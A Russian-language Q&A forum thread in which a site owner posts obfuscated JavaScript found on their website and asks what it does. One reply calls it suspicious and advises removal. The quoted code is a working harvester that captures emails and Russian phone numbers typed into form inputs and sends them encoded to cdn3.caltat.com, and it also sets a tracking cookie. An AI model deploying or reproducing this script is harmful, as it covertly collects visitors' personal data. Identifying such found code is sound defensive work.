@linuxnb

Нашел на своем сайте такой код, что это?

нашел у себя на сайте данный код, по всей видемости залетел с кучей других скриптов из паблика
не могу понять что этот код выполняет, он на JS

var _0x47fd = ['location', '&r=', 'text/javascript', 'cookie', 'split', 'substring', 'indexOf', '\x20undefined', 'host', 'getFullYear', ';\x20expires=', ';\x20path=', ';\x20path=/', ';\x20domain=', 'length', ';\x20secure', 'createElement', 'script', 'type', 'async', 'src', 'https://cdn3.caltat.com/c82982b0-3b80-45a6-85d0-7510aa7e5a33/jdata.php?s=', '&a=', 'getElementsByTagName', 'head', 'appendChild', 'test', 'body', 'change', 'input', 'INPUT', 'target', 'value', '//cdn3.caltat.com/c82982b0-3b80-45a6-85d0-7510aa7e5a33/udt.php?n=', '&u='];
(function(_0x224e74, _0xcd7334) {
	var _0x14ff53 = function(_0x4e3dd6) {
		while(--_0x4e3dd6) {
			_0x224e74['push'](_0x224e74['shift']());
		}
	};
	_0x14ff53(++_0xcd7334);
}(_0x47fd, 0x11b));
var _0x430d = function(_0x4b111b, _0x2bf227) {
	_0x4b111b = _0x4b111b - 0x0;
	var _0x327e53 = _0x47fd[_0x4b111b];
	return _0x327e53;
};
! function(_0x2e8a61) {
	function _0x14d842(_0x5421c3) {
		try {
			return function(_0x46d4a3) {
				var _0x135912, _0x344da9 = document[_0x430d('0x0')][_0x430d('0x1')](';\x20'),
					_0x3cb8d7 = [];
				for(_0x135912 in _0x344da9)
					if(_0x344da9[_0x135912][_0x430d('0x2')]) {
						var _0x4b8eec = _0x344da9[_0x135912][_0x430d('0x3')]('='),
							_0x3b0145 = _0x344da9[_0x135912][_0x430d('0x2')](0x0, _0x4b8eec),
							_0x52b38d = _0x344da9[_0x135912][_0x430d('0x2')](_0x4b8eec + 0x1);
						_0x3cb8d7[_0x3b0145] = _0x52b38d;
					}
				return '' != _0x46d4a3 && _0x430d('0x4') != _0x46d4a3 && null != _0x46d4a3 ? void 0x0 !== _0x3cb8d7[_0x46d4a3] ? _0x3cb8d7[_0x46d4a3] : null : _0x3cb8d7;
			}(_0x5421c3 = 'caltat') != lh && (_0x479993 = _0x5421c3, _0x2f4b75 = lh, _0x5284ce = '', _0xa5b5d8 = new Date(), _0xc01cbb = location[_0x430d('0x5')]['split']('.'), _0x5284ce = new Date(_0xa5b5d8[_0x430d('0x6')]() + 0x6, 0xa, 0xa, 0xa, 0xa, 0xa), document[_0x430d('0x0')] = _0x479993 + '=' + escape(_0x2f4b75) + (_0x5284ce ? _0x430d('0x7') + _0x5284ce : '') + (_0x5aad13 ? _0x430d('0x8') + _0x5aad13 : _0x430d('0x9')) + (_0x1b93f2 ? _0x430d('0xa') + _0x1b93f2 : _0x430d('0xa') + _0xc01cbb[_0xc01cbb[_0x430d('0xb')] - 0x2] + '.' + _0xc01cbb[_0xc01cbb[_0x430d('0xb')] - 0x1]) + (_0x2924b9 ? _0x430d('0xc') : '')), lh;
		} catch(_0x274ee0) {
			return lh;
		}
		var _0x479993, _0x2f4b75, _0x5284ce, _0x5aad13, _0x1b93f2, _0x2924b9, _0xa5b5d8, _0xc01cbb;
	}

	function _0x50c03a(_0x10cc0d, _0x2318f3) {
		var _0x57f10b = document[_0x430d('0xd')](_0x430d('0xe'));
		_0x57f10b[_0x430d('0xf')] = 'text/javascript', _0x57f10b[_0x430d('0x10')] = !0x0, _0x57f10b[_0x430d('0x11')] = _0x430d('0x12') + _0x14d842() + _0x430d('0x13') + encodeURIComponent(btoa(_0x10cc0d)) + '&l=' + encodeURIComponent(btoa(_0x2318f3)), document[_0x430d('0x14')](_0x430d('0x15'))[0x0][_0x430d('0x16')](_0x57f10b);
	}

	function _0x599c2e(_0x3d06b4) {
		/^[a-zA-Z0-9\-]{2,30}@[a-z0-9\-]{2,30}\.[a-z0-9\-]{2,10}$/i ['test'](_0x3d06b4) ? _0x50c03a(_0x3d06b4, ''): (/^\+7[0-9\(\)\ \-]{10,15}$/i ['test'](_0x3d06b4) || /^8[0-9\(\)\ \-]{10,15}$/i [_0x430d('0x17')](_0x3d06b4)) && _0x50c03a('', _0x3d06b4);
	}
	window['lh'] = 'dfcb074b365c4571abdb669e656badb8';
	var _0x44d79a = !0x0;
	try {
		$(_0x430d('0x18'))['on'](_0x430d('0x19'), _0x430d('0x1a'), function() {});
	} catch(_0x55054e) {
		_0x44d79a = !0x1;
	}
	'function' == typeof window['jQuery'] && 0x1 == _0x44d79a ? setTimeout(function() {
		$(_0x430d('0x18'))['on'](_0x430d('0x19'), _0x430d('0x1a'), function() {
			_0x599c2e($(this)['val']());
		});
	}, 0x1f4) : setTimeout(function() {
		document[_0x430d('0x14')]('body')[0x0]['addEventListener']('change', function(_0x47747a) {
			_0x430d('0x1b') == _0x47747a[_0x430d('0x1c')]['nodeName'] && _0x599c2e(_0x47747a[_0x430d('0x1c')][_0x430d('0x1d')]);
		});
	}, 0x1f4);
	var _0x5b3bef = _0x430d('0x1e') + new Date()['getTime']();
	_0x5b3bef += _0x430d('0x1f') + encodeURIComponent(_0x2e8a61[_0x430d('0x20')]['href']), _0x5b3bef += _0x430d('0x21') + _0x2e8a61['referrer'];
	var _0x1ee212 = document[_0x430d('0xd')](_0x430d('0xe'));
	_0x1ee212[_0x430d('0xf')] = _0x430d('0x22'), _0x1ee212[_0x430d('0x10')] = !0x0, _0x1ee212[_0x430d('0x11')] = _0x5b3bef, _0x2e8a61[_0x430d('0x14')]('head')[0x0]['appendChild'](_0x1ee212), _0x14d842();
}(document);
  • Вопрос задан
  • 450 просмотров
Пригласить эксперта
Ответы на вопрос 2
yellow79
@yellow79
Senior Software Engineer
Кусок обфусцированного кода, что конкретно делает сложно сказать, на то он и обфусцирован, чтоб было не понятно, но похоже результат того, что он делает отправляется на cdn3.caltat.com. Если данный адрес вам ни о чём не говорит, я бы снёс его от греха подальше. Судя по инфе по основному домену, это код от какой-то CRM
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через TM ID
Похожие вопросы